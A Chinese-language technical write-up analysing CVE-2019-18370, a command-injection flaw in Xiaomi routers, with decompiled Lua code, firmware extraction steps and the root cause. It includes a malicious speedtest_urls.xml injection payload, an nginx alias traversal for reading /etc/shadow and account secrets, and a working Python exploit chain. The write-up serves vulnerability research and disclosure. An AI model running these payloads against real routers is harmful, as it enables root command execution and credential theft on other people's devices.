xiaomi路由器命令执行漏洞分析(CVE-2019-18370
前言
CVE-2019-18370介绍:
An issue was discovered on Xiaomi Mi WiFi R3G devices before 2.28.23-stable. The backup file is in tar.gz format. After uploading, the application uses the tar zxf command to decompress, so one can control the contents of the files in the decompressed directory. In addition, the application's sh script for testing upload and download speeds reads a URL list from /tmp/speedtest_urls.xml, and there is a command injection vulnerability, as demonstrated by api/xqnetdetect/netspeed.
背景知识
openwrt
Cisco/Linksys在2003年发布了WRT54G这款无线路由器,同年有人发现它的IOS是基于Linux的,然而Linux是基于GPL许可证发布的,按照该许可证Cisco应该把WRT54G 的IOS的源代码公开。2003年3月, Cisco迫于公众压力公开了WRT54G的源代码。此后就有了一些基于Cisco源码的第三方路由器固件,OpenWrt就是其中的一个。
lunci
LUCI 是 Openwrt 中为实现所有系统配置的一个统一接口,英文名 Unified Configuration Interface,即统一配置接口。轻量级 LUA 语言的官方版本只包括一个精简的核心和最基本的库。这使得 LUA 体积小、启动速度快,从而适合嵌入在别的程序里。 LuCI 即是这两个项目的合体,可以实现路由的网页配置界面。
建议在学习LuCI界面开发之前,先了解下LUA 的相关语法知识。
参考教程https://www.runoob.com/lua/lua-basic-syntax.html
LuCI采用了MVC (模型/视图/控制)三层架构,在系统的/usr/lib/lua/luci/下有三个目录 model、 view、 controller, 它们分别对应 M、V、 C。也可以在openwrt源码/feeds/luci/applications/luci-app-xx/luasrc/ 或 openwrt源码/feeds/luci/modules/luci-mod-admin-full/luasrc/ 目录下阅读官方的源码例程,学习参考。
在Openwrt中比较重要的几个文件夹如下,我们后续分析漏洞的重点也是下面几个文件路径。
-
/usr/lib/lua/luci/controller/
* -
/usr/lib/lua/luci/view/
* -
/usr/lib/lua/luci/model/cbi/
*
漏洞简介
环境搭建
固件下载
可以选择从官网下载,但是只能下载到最新版本的固件,历史版本的固件只能逛各大论坛寻找。
Link: http://www1.miwifi.com/miwifi_download.html
![](https://img.haomeiwen.com/i17790459/2188dfe9d715d1aa.png)
我这里也提供我从小米路由器4A千兆版中提取出的文件系统,具体步骤如下
root@XiaoQiang:~# cat /proc/mtd
dev: size erasesize name
mtd0: 01000000 00010000 "ALL"
mtd1: 00020000 00010000 "Bootloader"
mtd2: 00010000 00010000 "Config"
mtd3: 00010000 00010000 "Factory"
mtd4: 00010000 00010000 "crash"
mtd5: 00010000 00010000 "cfg_bak"
mtd6: 00100000 00010000 "overlay"
mtd7: 00c60000 00010000 "OS1"
mtd8: 00b00000 00010000 "rootfs"
mtd9: 00240000 00010000 "disk"
root@XiaoQiang:~#
## 使用dd命令提取文件系统
dd if=/dev/mtd8 of=/tmp/mi.bin
漏洞分析
漏洞的出发点是一处文件上传功能,用户可以上传自己之前下载过的路由器配置文件来恢复路由器的配置。
![](https://img.haomeiwen.com/i17790459/784f6ac3abceabec.png)
对应的数据包如下
POST /cgi-bin/luci/;stok=b976fc7fe920bde620fff70ab9f1db61/api/misystem/c_upload HTTP/1.1
Host: 192.168.31.1
Content-Length: 11931
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymvmRFZ15q1odX6pv
Accept: */*
Origin: http://192.168.31.1
Referer: http://192.168.31.1/cgi-bin/luci/;stok=b976fc7fe920bde620fff70ab9f1db61/web/setting/upgrade
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: __guid=86847064.4591220507861412400.1676003315952.3748; monitor_count=46
Connection: close
------WebKitFormBoundarymvmRFZ15q1odX6pv
Content-Disposition: form-data; name="image"; filename="jxgo.tar.gz"
Content-Type: application/x-gzip
�ELFaaaaaaaaaa
省略上传文件内容
------WebKitFormBoundarymvmRFZ15q1odX6pv--
备份文件是tar.gz
格式的,上传后tar zxf
解压,所以构造备份文件,可以控制解压目录的文件内容,结合测试上传下载速度功能的sh脚本执行时读取测试url列表文件,并将url部分直接进行命令拼接执行。
接下来我们看看路由器后台如何处理这个请求,处理此api请求的逻辑位于/usr/lib/lua/luci/controller/api/misystem.lua
可以使用以下的程序对lua
程序进行反编译
git clone https://github.com/NyaMisty/unluac_miwifi.git
cd unluac_miwifi
mkdir build
javac -d build -sourcepath src src/unluac/*.java
jar -cfm build/unluac.jar src/META-INF/MANIFEST.MF -C build
得到处理上传的配置文件的逻辑如下
function cUpload()
local LuciFs = require("luci.fs")
local XQBackup = require("xiaoqiang.module.XQBackup")
local code = 0
local canupload = true
local uploadFilepath = "/tmp/cfgbackup.tar.gz"
local fileSize = tonumber(LuciHttp.getenv("CONTENT_LENGTH"))
if fileSize > 102400 then
canupload = false
end
LuciHttp.setfilehandler(
function(meta, chunk, eof)
if canupload then
if not fp then
if meta and meta.name == "image" then
fp = io.open(uploadFilepath, "w")
end
end
if chunk then
fp:write(chunk)
end
if eof then
fp:close()
end
else
code = 1630
end
end
)
if LuciHttp.formvalue("image") and fp then
code = 0
end
local result = {}
if code == 0 then
local ext = XQBackup.extract(uploadFilepath)
if ext == 0 then
result["des"] = XQBackup.getdes()
else
code = 1629
end
end
if code ~= 0 then
result["msg"] = XQErrorUtil.getErrorMessage(code)
LuciFs.unlink(uploadFilepath)
end
result["code"] = code
LuciHttp.write_json(result)
end
调用XQBackup.extract(uploadFilepath)
进行解压
-- 0:succeed
-- 1:file does not exist
-- 2:no description file
-- 3:no mbu file
function extract(filepath)
local fs = require("nixio.fs")
local tarpath = filepath
if not tarpath then
tarpath = TARMBUFILE
end
if not fs.access(tarpath) then
return 1
end
os.execute("cd /tmp; tar -xzf "..tarpath.." >/dev/null 2>/dev/null")
os.execute("rm "..tarpath.." >/dev/null 2>/dev/null")
if not fs.access(DESFILE) then
return 2
end
if not fs.access(MBUFILE) then
return 3
end
return 0
end
这里可以发现/tmp下文件路径我们是可控的,基于此我们寻找命令执行函数,且参数从/tmp
下的可控文件中解析的函数。
找到几个脚本文件读取了/tmp
下的文件并解析执行
- /usr/bin/upload_speedtest
#!/usr/bin/env lua
local posix = require("Posix")
local ubus = require ("ubus")
local fs = require "nixio.fs"
local cfg = {
['postfile'] = "/tmp/postfile.dat",
['postfilesize'] = 512, -- kbyte
['posturl'] = "http://netsp.master.qq.com/cgi-bin/netspeed",
['geturl'] = "http://dlied6.qq.com/invc/qqdoctor/other/test32mb.dat",
['nr'] = 200, --Number of requests to perform
['nc'] = 15, --Number of multiple requests to make at a time
['loopnum'] = 15,
['timelimit'] = 9,
['timestep'] = 1,
['interval'] = 1,
['weight'] = 0.95, -- smooth net tarffic burst at first second
['qos_weight'] = 1,
['burstrate'] = 2,
['ab'] = "/usr/bin/ab",
['dd'] = "/bin/dd",
['debug'] = 0,
['xmlfile'] = "/usr/share/speedtest.xml",
['tmp_speedtest_xml'] = "/tmp/speedtest_urls.xml",
}
local is_oversea_file = false
VERSION="__UNDEFINED__"
if VERSION == "LESSMEM" then
cfg.nr = 120
cfg.nc = 10
end
local filename = ""
filexml = io.open(cfg.tmp_speedtest_xml)
if filexml then
filexml:close()
is_oversea_file = true
filename = cfg.tmp_speedtest_xml
else
filename = cfg.xmlfile
end
local pp = io.open(filename)
local line = pp:read("*line")
local size = 0
local resources = {}
local u = ""
local pids = {}
function die(err)
posix.openlog(arg[0], "cp", posix.LOG_LOCAL7)
posix.syslog(posix.LOG_ERR, err)
posix.closelog()
os.exit(1)
end
function logger(loglevel,msg)
posix.openlog("speedtest","np",LOG_USER)
posix.syslog(loglevel,msg)
posix.closelog()
end
print(string.format("download using %s...", filename))
logger(3, string.format("download using %s...", filename))
print(string.format("download using nr: %d nc: %d", cfg.nr, cfg.nc))
logger(3, string.format("download using nr: %d nc: %d", cfg.nr, cfg.nc))
function mrandom(min,max,num)
local reverse = {}
local t = {}
local ret = {}
local i = min
local index
while i <= max do
table.insert(t, i)
i = i + 1
end
i = num
math.randomseed(os.time())
while i > 0 do
index = math.random(table.getn(t))
table.insert(ret,t[index])
if index == table.getn(t) then
table.remove(t)
else
local top = table.remove(t)
t[index] = top
end
i = i - 1
end
return ret
end
function execa(cmd)
local p = io.popen(cmd)
local line = p:read("*l")
while(line) do
print(line)
line = p:read("*l")
end
p:close()
end
function wget_work(url)
local _url = url
pid = posix.fork()
if pid < 0 then
print("fork error")
return -1
elseif pid > 0 then
--print(string.format("child pid %d\n", pid))
else
os.execute('for i in $(seq '.. math.floor(cfg.nr/cfg.nc) ..'); do wget '.. url ..
" -q -O /dev/null; done")
end
return pid
end
function wget_work_loop(url)
local _url = url
local i = 1
local cmd = 'wget -q -O /dev/null '
while (i<=cfg.loopnum) do
cmd = string.format('%s %s',cmd, url)
i=i+1
end
pid = posix.fork()
if pid < 0 then
print("fork error")
return -1
elseif pid > 0 then
--print(string.format("child pid %d\n", pid))
else
os.execute(cmd)
end
return pid
end
function wan_device()
local conn = ubus.connect()
if not conn then
elog("Failed to connect to ubusd")
end
local status = conn:call("network.interface.wan", "status",{})
conn:close()
if not status then
return nil
else
return (status.l3_device and status.l3_device) or status.device
end
end
function get_pstree(root, pids)
local pp = io.popen("pgrep -P "..root)
pid = pp:read("*line")
while pid do
data = table.insert(pids, pid)
get_pstree(pid, pids)
pid = pp:read("*line")
end
pp:close()
end
function execl2(command)
local pp = io.popen(command)
local line = ""
local data = {}
while true do
line = pp:read()
if line == nil then
break
end
data[#data+1] = line
end
pp:close()
return data
end
function get_pstree2(root, pids)
local cmd = "pstree -p "..root
local res = execl2(cmd)
print("type root is: "..type(root))
if res and next(res)~=nil then
for k,v in ipairs(res) do
local j = 0
while true do
_,j,pid = string.find(v, '%(([0-9]+)%)', j+1)
if pid then
if tonumber(pid) ~= root then
table.insert(pids, pid)
end
else
break
end
end
end
end
end
function done(signo)
io.output("/dev/null")
local fd = io.open("/dev/null", "rw")
if not posix.dup(fd, io.stdout) then
die("error dup2-ing")
end
if not posix.dup(fd, io.stderr) then
die("error dup2-ing")
end
get_pstree2(posix.getpid("pid"), pids)
for k, pid in ipairs(pids) do
print("kill pid:" .. pid)
posix.kill(pid, posix.SIGINT)
end
os.exit(0)
end
function read_line(filename)
local fd = io.open(filename)
local line = fd:read("*line")
fd:close()
return line
end
function get_uptime()
local _, _, uptime, idle = string.find(read_line("/proc/uptime"),'^([0-9.]+)%s+([0-9.]+)$')
return tonumber(uptime)
end
function get_rt(ifname)
local line
local face, r_bytes, r_packets, r_errs, r_drop, r_fifo, r_frame, r_compressed, r_multicast
local t_bytes, t_packets, t_errs, t_drop, t_fifo, t_colls, t_carrier, t_compressed
local _nic = {}
if fs.access("/proc/net/dev") then
for line in io.lines("/proc/net/dev") do
_, _, face, r_bytes, r_packets, r_errs, r_drop, r_fifo, r_frame, r_compressed, r_multicast,
t_bytes, t_packets, t_errs, t_drop, t_fifo, t_colls, t_carrier, t_compressed = string.find(line,
'%s*(%S+):%s+(%d+)%s+(%d+)%s+(%d+)%s+(%d+)%s+(%d+)%s+(%d+)%s+(%d+)%s+(%d+)%s+(%d+)%s+(%d+)%s+(%d+)%s+(%d+)%s+(%d+)%s+(%d+)%s+(%d+)%s+(%d+)%s*')
if (face == ifname) then
return {
r_bytes = tonumber(r_bytes),
r_packets = tonumber(r_packets),
t_bytes = tonumber(t_bytes),
t_packets = tonumber(t_packets),
uptime = get_uptime()
}
end
end
end
end
function print_rt(rt, rt_last)
local delta_time = rt.uptime - rt_last.uptime
print(string.format("Time(ms):%.0f\tr_x:%.2f t_x:%.2f",
delta_time*1000,
(rt.r_bytes - rt_last.r_bytes) / delta_time / 1024,
(rt.t_bytes - rt_last.t_bytes) / delta_time / 1024))
end
----------------------------------------------------------------------
posix.signal(posix.SIGTERM, done);
local wan_ifname = wan_device()
if not wan_ifname then
print("got invalid wan device")
print(string.format("avg rx:%.2f", 0))
logger(3, "stat_points_privacy network_speedtest=10|download|no_wan_dev")
done()
end
local midownurl
if is_oversea_file then
while line do
local _, _, url = string.find(line,'<item url="(.*)"/>')
if url then
table.insert(resources, url)
end
line = pp:read("*line")
end
pp:close()
local urls = mrandom(1, table.getn(resources), cfg.nc)
for k, v in ipairs(urls) do
if VERSION == "LESSMEM" then
local pid = wget_work_loop(resources[v])
else
local pid = wget_work(resources[v])
end
if(pid == 0) then
os.exit(0)
elseif(pid == -1) then
done()
end
end
else
while line do
local _, _, url = string.find(line,'<item midownurl="(.*)"/>')
if url then
midownurl = url
end
line = pp:read("*line")
end
pp:close()
for i=1, cfg.nc, 1 do
if VERSION == "LESSMEM" then
local pid = wget_work_loop(midownurl)
else
local pid = wget_work(midownurl)
end
if(pid == 0) then
os.exit(0)
elseif(pid == -1) then
done()
end
end
end
local rt = get_rt(wan_ifname)
if not rt then
print("got invalid data")
print(string.format("avg rx:%.2f", 0))
logger(3, "stat_points_privacy network_speedtest=10|download|no_wan_info")
done()
end
local rt_last
local dot_datas = {}
local dot = 1
dot_datas[dot] = rt
while dot <= cfg.timelimit do
posix.sleep(1)
dot = dot + 1
rt_last = rt
rt = get_rt(wan_ifname)
if not rt then
print("got invalid data")
print(string.format("avg rx:%.2f", 0))
logger(3, "stat_points_privacy network_speedtest=10|download|no_wan_info")
done()
end
dot_datas[dot] = rt
print_rt(rt, rt_last)
end
--function dotdata_show()
function dump_dot_data(dotdata)
for i=1,#dotdata do
print(string.format("[%.2d] %.2f %.2f %.2f", i, dotdata[i].r_bytes,dotdata[i].t_bytes, dotdata[i].uptime))
end
end
--����ƽ��ֵ
function rx_avg_speed(dotdata)
local sum,j = 0,1
local dlt_time
if #dotdata < 2 then
return 0
end
while j + 1 <= #dotdata do
if (dotdata[j+1].r_bytes <= dotdata[j].r_bytes) then
return 0
end
dlt_time = dotdata[j+1].uptime - dotdata[j].uptime
sum = sum + (dotdata[j+1].r_bytes - dotdata[j].r_bytes) / dlt_time / 1024
j = j + 1
end
return sum/(#dotdata-1)
end
--ÿ���cfg.interval���rx���ݼ����ٶȣ�ȡ���е����ֵ
function rx_max_avg_speed(dotdata, net_burst)
local rx_speed = 0
local i = 2 --i��2��ʼ���ܿ���һ���burst����
while (i + cfg.interval) <= (cfg.timelimit + 1) do
if (dotdata[i+cfg.interval].r_bytes <= dotdata[i].r_bytes) then
return 0
end
local delta_time = dotdata[i+cfg.interval].uptime - dotdata[i].uptime
local tmp = (dotdata[i+cfg.interval].r_bytes - dotdata[i].r_bytes)/ delta_time / 1024
--print(string.format("sec[%d]%.2f sec[%d]%.2f delta_time %.2f, speed is %.2f",
-- i+cfg.interval, dotdata[i+cfg.interval].r_bytes, i,
-- dotdata[i].r_bytes, delta_time, tmp))
if (i == 1) and net_burst then
--print(string.format("sec[%d] weight %.2f burstrate %.2f : smooth from %.2f to %.2f",
-- i, cfg.weight, cfg.burstrate, tmp, tmp*cfg.weight))
tmp = tmp * cfg.weight
end
if tmp > rx_speed then
rx_speed = tmp
end
i = i + 1
end
return rx_speed
end
-- ȥ��һ�����ֵ��ȥ��һ����Сֵ, ��ƽ��
function avg_remove_max_min(tdata)
local sum = 0
table.sort(tdata)
--print(string.format("table remove max %.2f min %.2f",
-- tdata[#tdata], tdata[1]))
table.remove(tdata,#tdata)
table.remove(tdata,1)
for key, value in pairs(tdata) do
sum = sum + value
--print(string.format("%.2f", value))
end
return sum/#tdata
end
--ÿ���cfg.interval���rx���ݼ����ٶȣ�ȥ��һ�����ֵ��ȥ��һ����Сֵ, ��ƽ��
function rx_avg_interval_speed(dotdata)
local sum = {}
local rx_speed = 0
local i = 1
while (i + cfg.interval) <= (cfg.timelimit + 1) do
if (dotdata[i+cfg.interval].r_bytes <= dotdata[i].r_bytes) then
print("r_x data "..(i+cfg.interval).." <= "..i)
logger(3, "stat_points_privacy network_speedtest=10|download|data_invalid|"..i+cfg.interval.."|"..dotdata[i+cfg.interval].r_bytes.."|"..i.."|"..dotdata[i].r_bytes)
return 0
end
local delta_time = dotdata[i+cfg.interval].uptime - dotdata[i].uptime
local tmp = (dotdata[i+cfg.interval].r_bytes - dotdata[i].r_bytes)/ delta_time / 1024
--print(string.format("sec[%d]%.2f sec[%d]%.2f delta_time %.2f, speed is %.2f",
-- i+cfg.interval, dotdata[i+cfg.interval].r_bytes, i,
-- dotdata[i].r_bytes, delta_time, tmp))
table.insert(sum, tmp)
i = i + 1
end
rx_speed = avg_remove_max_min(sum)
if rx_speed*8 < 128 then
logger(3, "stat_points_privacy network_speedtest=10|download|data_small_value|"..rx_speed*8)
end
return rx_speed
end
--�жϵ�һ���Ƿ���net burst
function if_net_burst(dotdata)
if ((dotdata[2].r_bytes < dotdata[1].r_bytes) or (dotdata[3].r_bytes < dotdata[2].r_bytes)) then
return false
end
local delta_time = dotdata[2].uptime - dotdata[1].uptime
local first_speed = (dotdata[2].r_bytes - dotdata[1].r_bytes) / delta_time / 1024
delta_time = dotdata[3].uptime - dotdata[2].uptime
local second_speed = (dotdata[3].r_bytes - dotdata[2].r_bytes) / delta_time / 1024
if first_speed > (cfg.burstrate * second_speed) then
return true
end
return false
end
--dump_dot_data(dot_datas)
local res_speed = rx_avg_speed(dot_datas)
print(string.format("avg r_x:%.2f %.2fMB %.2fMbit", res_speed*8, res_speed/1024, res_speed*8/1024))
res_speed = rx_avg_interval_speed(dot_datas)
print(string.format("qos weight %.3f: from %.2f to %.2f",
cfg.qos_weight, res_speed, res_speed*cfg.qos_weight))
res_speed = res_speed * cfg.qos_weight
logger(3, "stat_points_none downband_speedtest="..math.floor(res_speed*8))
print(string.format("avg rx:%.2f %.2fMB %.2fMbit", res_speed*8, res_speed/1024, res_speed*8/1024))
done()
存在逻辑:
-
从
/tmp/speedtest_urls.xml
读取url,然后执行以下部分下载urlfunction wget_work(url) local _url = url pid = posix.fork() if pid < 0 then print("fork error") return -1 elseif pid > 0 then --print(string.format("child pid %d\n", pid)) else -- 拼接命令,最终在这里执行 os.execute('for i in $(seq '.. math.floor(cfg.nr/cfg.nc) ..'); do wget '.. url .. " -q -O /dev/null; done") end return pid end
-
在
/usr/lib/lua/luci/controller/api/xqnetdetect.lua
中调用了/usr/bin/upload_speedtest
function netspeed() local XQPreference = require("xiaoqiang.XQPreference") local XQNSTUtil = require("xiaoqiang.module.XQNetworkSpeedTest") local code = 0 local result = {} local history = LuciHttp.formvalue("history") if history then result["bandwidth"] = tonumber(XQPreference.get("BANDWIDTH", 0, "xiaoqiang")) result["download"] = tonumber(string.format("%.2f", 128 * result.bandwidth)) result["bandwidth2"] = tonumber(XQPreference.get("BANDWIDTH2", 0, "xiaoqiang")) result["upload"] = tonumber(string.format("%.2f", 128 * result.bandwidth2)) else os.execute("/etc/init.d/miqos stop") -- 这里调用了downloadSpeedTest local download = XQNSTUtil.downloadSpeedTest() if download then result["download"] = download result["bandwidth"] = tonumber(string.format("%.2f", 8 * download/1024)) XQPreference.set("BANDWIDTH", tostring(result.bandwidth), "xiaoqiang") else code = 1588 end if code ~= 0 then result["msg"] = XQErrorUtil.getErrorMessage(code) end os.execute("/etc/init.d/miqos start") end result["code"] = code LuciHttp.write_json(result) end function downloadSpeedTest() local speedtest = "/usr/bin/download_speedtest" local speed -- 直接调用sh文件 for _, line in ipairs(LuciUtil.execl(speedtest)) do if not XQFunction.isStrNil(line) and line:match("^avg rx:") then speed = line:match("^avg rx:(%S+)") if speed then speed = tonumber(string.format("%.2f",speed/8)) end break end end return speed end
所以,我们只需要构造恶意的
speedtest_urls.xml
文件,构造备份文件,上传备份文件,然后调用网络测试相关的接口,即可以实现命令注入。speedtest_urls.xml
<?xml version="1.0"?> <root> <class type="1"> <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/> <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/> <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/> <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/> <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/> <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/> <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/> <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/> <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/> <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/> <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/> <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/> <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/> <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/> </class> <class type="2"> <item url="http://192.168.31.1 -q -O /dev/null;{command}>/tmp/1.txt; exit; wget http://192.168.31.1 "/> </class> <class type="3"> <item uploadurl="http://www.taobao.com/"/> <item uploadurl="http://www.so.com/"/> <item uploadurl="http://www.qq.com/"/> <item uploadurl="http://www.sohu.com/"/> <item uploadurl="http://www.tudou.com/"/> <item uploadurl="http://www.360doc.com/"/> <item uploadurl="http://www.kankan.com/"/> <item uploadurl="http://www.speedtest.cn/"/> </class> </root>
ok,上述就是目前命令注入漏洞的执行过程,但是此漏洞执行需要有个前置条件:知道路由器后台管理密码获取token
但是我们可以利用此路由器上的另外一个漏洞与登陆验证逻辑结合,组成漏洞利用链
![](https://img.haomeiwen.com/i17790459/3c4288d74dea8723.png)
Nginx配置错误
小米路由器的nginx配置文件错误,导致目录穿越漏洞,实现任意文件读取(无需登录)
nginx配置不当可导致目录穿越漏洞,
location /xxx {
alias /abc/;
}
location /backup/log {
alias /tmp/syslogbackup/;
}
location /api-third-party/download/public {
alias /userdisk/data/;
}
location /api-third-party/download/private {
alias /userdisk/appdata/;
}
可通过访问http://domain.cn/xxx../etc/passwd
实现目录穿越访问上级目录及其子目录文件。
在小米路由器的文件/etc/sysapihttpd/sysapihttpd.conf
中,存在
location /api-third-party/download/extdisks {
alias /extdisks/;
}
故可以任意文件读取根目录下的所有文件,而且是root权限,如访问http://192.168.31.1/api-third-party/download/extdisks../etc/shadow
![](https://img.haomeiwen.com/i17790459/7d3e1ebb428abb63.png)
登陆逻辑
从前端js中可以看到登陆时验证过程
![](https://img.haomeiwen.com/i17790459/e70b55226b0ea7e5.png)
var Encrypt = {
key: 'a2ffa5c9be07488bbb04a3a47d3c5f6a',
iv: '64175472480004614961023454661220',
nonce: null,
init: function(){
var nonce = this.nonceCreat();
this.nonce = nonce;
return this.nonce;
},
nonceCreat: function(){
var type = 0;
// 自己的mac地址
var deviceId = '<%=mac%>';
var time = Math.floor(new Date().getTime() / 1000);
var random = Math.floor(Math.random() * 10000);
return [type, deviceId, time, random].join('_');
},
oldPwd : function(pwd){ // oldPwd = sha1(nonce + sha1(pwd + 'a2ffa5c9be07488bbb04a3a47d3c5f6a'))
return CryptoJS.SHA1(this.nonce + CryptoJS.SHA1(pwd + this.key).toString()).toString();
},
//...
};
验证用户登陆的后端过程在XQSecureUtil.checkUser
函数
function checkUser(user, nonce, encStr)
-- 从xiaoqiang 配置文件中读取信息
local password = XQPreference.get(user, nil, "account")
if password and not XQFunction.isStrNil(encStr) and not XQFunction.isStrNil(nonce) then
if XQCryptoUtil.sha1(nonce..password) == encStr then
return true
end
end
XQLog.log(4, (luci.http.getenv("REMOTE_ADDR") or "").." Authentication failed", nonce, password, encStr)
return false
end
跟进XQPreference.get
函数易知道是从/etc/config/account
文件中读取某个字符串,这里称它为accountStr
。故,只需要读取/etc/config/account
得到accountStr
即可模拟登陆,并结合登陆后的命令注入漏洞实现无前置条件的命令注入漏洞。
利用此漏洞利用链的POC如下
import os
import tarfile
import requests
# proxies = {"http":"http://127.0.0.1:8080"}
proxies = {}
## get stok
stok = input("stok: ")
## make config file
command = input("command: ")
speed_test_filename = "speedtest_urls.xml"
with open("template.xml","rt") as f:
template = f.read()
data = template.format(command=command)
# print(data)
with open("speedtest_urls.xml",'wt') as f:
f.write(data)
with tarfile.open("payload.tar.gz", "w:gz") as tar:
# tar.add("cfg_backup.des")
# tar.add("cfg_backup.mbu")
tar.add("speedtest_urls.xml")
## upload config file
print("start uploading config file ...")
r1 = requests.post("http://192.168.31.1/cgi-bin/luci/;stok={}/api/misystem/c_upload".format(stok), files={"image":open("payload.tar.gz",'rb')}, proxies=proxies)
# print(r1.text)
## exec download speed test, exec command
print("start exec command...")
r2 = requests.get("http://192.168.31.1/cgi-bin/luci/;stok={}/api/xqnetdetect/netspeed".format(stok), proxies=proxies)
# print(r2.text)
## read result file
r3 = requests.get("http://192.168.31.1/api-third-party/download/extdisks../tmp/1.txt", proxies=proxies)
if r3.status_code == 200:
print("success, vul")
print(r3.text)
流量分析
POST请求上传备份文件的流量如下
![](https://img.haomeiwen.com/i17790459/cb460f61148a1080.png)
命令注入的代码在压缩包被难以编写规则
第二个触发命令执行的GET请求包如下
![](https://img.haomeiwen.com/i17790459/2db5d27f06f2fa4a.png)